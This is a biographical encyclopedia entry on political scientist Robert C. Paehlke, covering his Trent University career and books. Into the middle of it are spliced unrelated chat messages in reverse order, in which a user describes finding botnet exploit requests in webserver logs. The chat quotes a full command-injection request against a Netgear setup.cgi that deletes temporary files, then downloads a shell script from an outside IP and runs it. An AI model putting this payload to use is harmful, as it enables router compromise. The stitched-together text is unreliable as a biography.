Robert C. Paehlke

Robert C. Paehlke (born 1941) is an American Canadian political scientist, environmentalist, Emeritus Professor of Environmental and Resource Studies and Political Science at the Trent University, Canada, and author, best known for his work on environmentalism and progressive politics.[1][2]

Biography

Paehlke studied political science obtaining his BA from Lehigh University, his MA from The New School for Social Research, and his PhD from the University of British Columbia. He has spent his academic career at the Trent University, Canada. He was Professor and Chair in its Environmental and Resource Studies Program, and taught environmental policy and politics for 35 years from 1970 to 2005.

Paehlke wrote several books, such as Democracy’s Dilemma, Conservation and Environmentalism, and Environmentalism and the Future of Progressive Politics. In 1971 he was founding editor of the journal Alternatives: Canadian Ideas and Action.

In 1989 Paehlke still believed, that "environmentalism as an ideology is now at a stage of development comparable to that of socialism a century ago. Environmentalism may never obtain a mass base similar to that of conservatism, liberalism, or socialism, but it has already transformed the way many people understand the political world."[3]

Selected publications
  • Paehlke, Robert C. Environmentalism and the future of progressive politics. New Haven (1989).
  • Paehlke, Robert C. Conservation and environmentalism : an encyclopedia. 1st ed. 1995; Routledge, 3 April 2013.
  • Paehlke, Robert C. Democracy's dilemma: environment, social equity, and the global economy. MIT Press, 2004.
  • Robert Paehlke, Douglas Torgerson. Managing Leviathan : environmental politics and the administrative state. 2005.
  • Paehlke, Robert C. Some like it cold: the politics of climate change in Canada. Between the Lines, 2008.
Articles, a selection
  • Paehlke, Robert C. "Environmental values and public policy." Environmental Policy 4.2 (2000): 77-97.
gollark: Maybe.
gollark: So now I'm actually wondering if this was a botnet programmed by edgy teenagers, or something.
gollark: I downloaded one of *those* to look at, and ran `strings` on it, and as well as what look like HTTP requests (presumably trying to exploit other devices), there are sets of strings like these:
gollark: I looked at the `.sh` file there, and it appears to just be trying to download and execute a bunch of binaries for different architectures.
gollark: So I was looking through my webserver logs, as you do, and I found a bunch of requests like this among the typical exploit-spam or whatever it is:```<> 91.80.163.224 [21/Aug/2020:00:10:44 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.95.168.247/Scylla.sh+-O+/tmp/Scylla.sh;sh+Scylla.sh&curpath=/&currentsetting.htm=1 HTTP/1.0" 200 31 "-" "-" ```

References
  1. Eyerman, Ron, and Andrew Jamison. Social movements: A cognitive approach. Ardent Media, 1991.
  2. Rothman, Hal, Gerald D. Nash, and Richard W. Etulain. The greening of a nation?: environmentalism in the United States since 1945. Fort Worth: Harcourt Brace College Publishers, 1998.
  3. Paehlke (1989; 273); as cited in: Martin V. Melosi. "Review: Environmentalism and the Future of Progressive Politics by Robert C. Paehlke.," Presidential Studies Quarterly, Vol. 21, No. 3, Ordered Liberty (Summer, 1991), p. 604

Further reading
  • Alexander, D. (1990). Is there a green future in progressive politics?: An interview with Robert Paehlke. Alternatives Journal, 172(2), 56-58. Retrieved from VIUSpace.
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